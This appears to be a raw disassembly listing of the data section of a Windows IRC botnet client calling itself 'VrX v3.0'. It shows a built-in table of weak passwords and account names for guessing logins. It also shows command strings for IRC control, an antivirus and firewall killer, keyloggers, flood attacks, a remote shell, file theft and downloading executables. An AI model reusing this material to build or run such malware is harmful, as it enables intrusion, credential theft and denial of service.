		dd 4298A0h, 429898h, 429894h, 0
		dd offset byte_43B4B8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401AC7+AD3r
					; sub_401AC7+AFFr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401AC7+45F2o
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: sub_401AC7+727Fo
					; ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401AC7+3E8Fo
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AF2B+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:0040AFBAo
					; ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401686o
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040163Bo
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:0040160Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015BDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401582o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014ADo
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013A7o
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Bo
					; sub_410080+EAo ...
unk_429AD4	db    3			; DATA XREF: sub_4017E7+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40194F+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40194F+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D27o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D12o
		align 4
unk_429B38	db    3			; DATA XREF: sub_401AC7+7CFEo
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B58	db    3			; DATA XREF: sub_401AC7+7CE1o
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B78	db    3			; DATA XREF: sub_401AC7+7C71o
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7C4Eo
		align 4
unk_429BCC	db    3			; DATA XREF: sub_401AC7+7C13o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7C04o
					; sub_401AC7+7C62o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7BF0o
		align 4
asc_429C4C:				; DATA XREF: sub_401AC7+7BC0o
		unicode	0, <~>,0
unk_429C50	db    3			; DATA XREF: sub_401AC7+7B6Fo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 4
unk_429C74	db    3			; DATA XREF: sub_401AC7+7B07o
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C9C	db    3			; DATA XREF: sub_401AC7+7AC5o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CBC	db    3			; DATA XREF: sub_401AC7+7AA7o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429CE0	db    3			; DATA XREF: sub_401AC7+7A8Eo
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429D00	db    3			; DATA XREF: sub_401AC7+7A6Eo
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D20	db    3			; DATA XREF: sub_401AC7+7A55o
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D38	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_40949Eo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D64	db  2Dh	; -		; DATA XREF: sub_401AC7+79D0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D88	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_409451o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DB0	db  2Dh	; -		; DATA XREF: sub_401AC7+7980o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401AC7+7966o
unk_429DDC	db    3			; DATA XREF: sub_401AC7+7865o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429E00	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_409317o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E24	db  2Dh	; -		; DATA XREF: sub_401AC7+7846o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E44	db    3			; DATA XREF: sub_401AC7+781Do
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E68	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4092C8o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_429E90	db  2Dh	; -		; DATA XREF: sub_401AC7+77D3o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 10h
unk_429EB0	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_409260o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
unk_429EE0	db  2Dh	; -		; DATA XREF: sub_401AC7+778Fo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F00	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_409200o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F30	db  2Dh	; -		; DATA XREF: sub_401AC7+7732o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F54	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401AC7+76F4o
		dd 27732527h, 2Eh
unk_429F70	db  2Dh	; -		; DATA XREF: sub_401AC7+767Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F94	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401AC7+760Ao
		dd 0
unk_429FAC	db  2Dh	; -		; DATA XREF: sub_401AC7+75E0o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FEC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401AC7+7571o
		dd 2Eh
dword_42A004	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401AC7:loc_408F8Do
		dd 746E6573h, 2Eh
unk_42A020	db  2Dh	; -		; DATA XREF: sub_401AC7+74BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_42A040	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401AC7+7488o
		dd 732520h
unk_42A058	db  2Dh	; -		; DATA XREF: sub_401AC7+747Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A084:				; DATA XREF: sub_401AC7+7462o
					; sub_410080+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A088	db    3			; DATA XREF: sub_401AC7+743Ao
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A8	db    3			; DATA XREF: sub_401AC7+7426o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401AC7:loc_408E7Co
		align 10h
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401AC7+73ABo
		align 10h
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401AC7+7333o
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401AC7+72E6o
		align 4
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401AC7+725Fo
		align 10h
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401AC7+7232o
					; sub_401AC7+72DEo
		align 4
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401AC7+722Do
		align 4
unk_42A17C	db    3			; DATA XREF: sub_401AC7+720Co
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 4
unk_42A194	db    3			; DATA XREF: sub_401AC7+71D1o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 4
unk_42A1C4	db    3			; DATA XREF: sub_401AC7+71B5o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E8	db    3			; DATA XREF: sub_401AC7+7116o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 4
unk_42A204	db    3			; DATA XREF: sub_401AC7+70D8o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 10h
unk_42A220	db    3			; DATA XREF: sub_401AC7+7082o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A23C	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401AC7+7017o
dword_42A250	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AC7+6FDDo
					; sub_401AC7+7A60o
unk_42A25C	db    3			; DATA XREF: sub_401AC7+6FB1o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+6FA3o
		align 4
dword_42A284	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401AC7+6F7Ao
		dd 25203A29h, 73h
dword_42A2A0	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401AC7+6F0Fo
		dd 203A2973h, 7325h
dword_42A2BC	dd 45444F4Dh, 732520h	; DATA XREF: sub_401AC7+6EBAo
dword_42A2C4	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401AC7+6E88o
		dd 203A2973h, 7325h
dword_42A2E0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AC7+6E13o
dword_42A2EC	dd 0A0D7325h, 0		; DATA XREF: sub_401AC7+6DE1o
					; sub_401AC7+6E67o ...
dword_42A2F4	dd 54524150h, 732520h	; DATA XREF: sub_401AC7+6DACo
dword_42A2FC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AC7+6D6Fo
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A338	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AC7+6CFEo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A364	db  2Dh	; -		; DATA XREF: sub_401AC7+6CA1o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A3A0	db  2Dh	; -		; DATA XREF: sub_401AC7+6C2Co
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D4	db    3			; DATA XREF: sub_401AC7+6BC6o
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A408	db    3			; DATA XREF: sub_401AC7+6B89o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 10h
dword_42A420	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401AC7:loc_4085B7o
dword_42A434	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401AC7+6AB0o
					; sub_401AC7+6B63o ...
dword_42A444	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7:loc_408518o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A48C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7+6A47o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C8	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401AC7+69D8o
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401AC7+6935o
		align 10h
dword_42A500	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
